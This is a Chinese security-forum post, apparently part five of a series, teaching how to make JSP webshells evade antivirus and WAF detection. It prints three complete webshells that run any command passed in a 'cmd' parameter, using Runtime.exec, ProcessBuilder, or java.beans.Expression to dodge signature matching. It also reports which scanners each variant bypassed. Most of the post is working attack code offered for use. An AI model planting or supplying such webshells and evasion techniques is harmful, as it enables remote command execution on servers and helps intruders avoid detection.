安全矩阵

 找回密码
 立即注册
搜索
查看: 979|回复: 0

什么?你还不会webshell免杀?(五)

[复制链接]

77

主题

77

帖子

257

积分

中级会员

Rank: 3Rank: 3

积分
257
发表于 2022-9-4 14:59:43 | 显示全部楼层 |阅读模式
本帖最后由 Aspark 于 2022-9-4 15:02 编辑

内置函数免杀原始webshell
  1. <%@ page import="java.io.InputStream" %>
  2. <%@ page import="java.io.BufferedReader" %>
  3. <%@ page import="java.io.InputStreamReader" %>
  4. <%@page language="java" pageEncoding="utf-8" %>


  5. <%
  6.     String cmd = request.getParameter("cmd");
  7.     Process process = Runtime.getRuntime().exec(cmd);
  8.     InputStream is = process.getInputStream();
  9.     BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
  10.     String r = null;
  11.     while((r = bufferedReader.readLine())!=null){
  12.         response.getWriter().println(r);
  13.     }
  14. %>
复制代码


查杀的点在于Runtime.getRuntime().exec非常明显的特征
利用ProcessBuilder替换Runtime.getRuntime().exec(cmd)Runtime.getRuntime().exec(cmd)其实最终调用的是ProcessBuilder这个函数,因此我们可以直接利用ProcessBuilder来替换Runtime.getRuntime().exec(cmd),从而绕过正则表达式
编辑
  1. <%@ page import="java.io.InputStream" %>
  2. <%@ page import="java.io.BufferedReader" %>
  3. <%@ page import="java.io.InputStreamReader" %>
  4. <%@page language="java" pageEncoding="utf-8" %>


  5. <%
  6.   String cmd = request.getParameter("cmd");
  7.   Process process = new ProcessBuilder(new String[]{cmd}).start();
  8.   InputStream is = process.getInputStream();
  9.   BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
  10.   String r = null;
  11.   while((r = bufferedReader.readLine())!=null){
  12.     response.getWriter().println(r);
  13.   }
  14. %>
复制代码


编辑
免杀效果
某狗:
编辑
某盾:
编辑
某马:
编辑
vt:
编辑
某度在线查杀:
编辑
可以看到这全部都免杀过了,就换了一个函数。
BeansExpression免杀这种方式是利用Expression将Runtime.getRuntime().exec这个特征分开,相当于一个对调函数。免杀效果一般,因为很多查杀都是直接匹配Runtime.getRuntime()
  1. <%@ page import="java.beans.Expression" %>
  2. <%@ page import="java.io.InputStreamReader" %>
  3. <%@ page import="java.io.BufferedReader" %>
  4. <%@ page import="java.io.InputStream" %>
  5. <%@ page language="java" pageEncoding="UTF-8" %>
  6. <%
  7.   String cmd = request.getParameter("cmd");
  8.   Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});

  9.   Process process = (Process) expr.getValue();
  10.   InputStream in = process.getInputStream();
  11.   BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
  12.   String tmp = null;
  13.   while((tmp = bufferedReader.readLine())!=null){
  14.     response.getWriter().println(tmp);
  15.   }
  16. %>
复制代码


查杀效果:
编辑

编辑

编辑
可以看到某狗已经查杀出来了。只能说效果很一般
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 19:47 , Processed in 0.014593 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表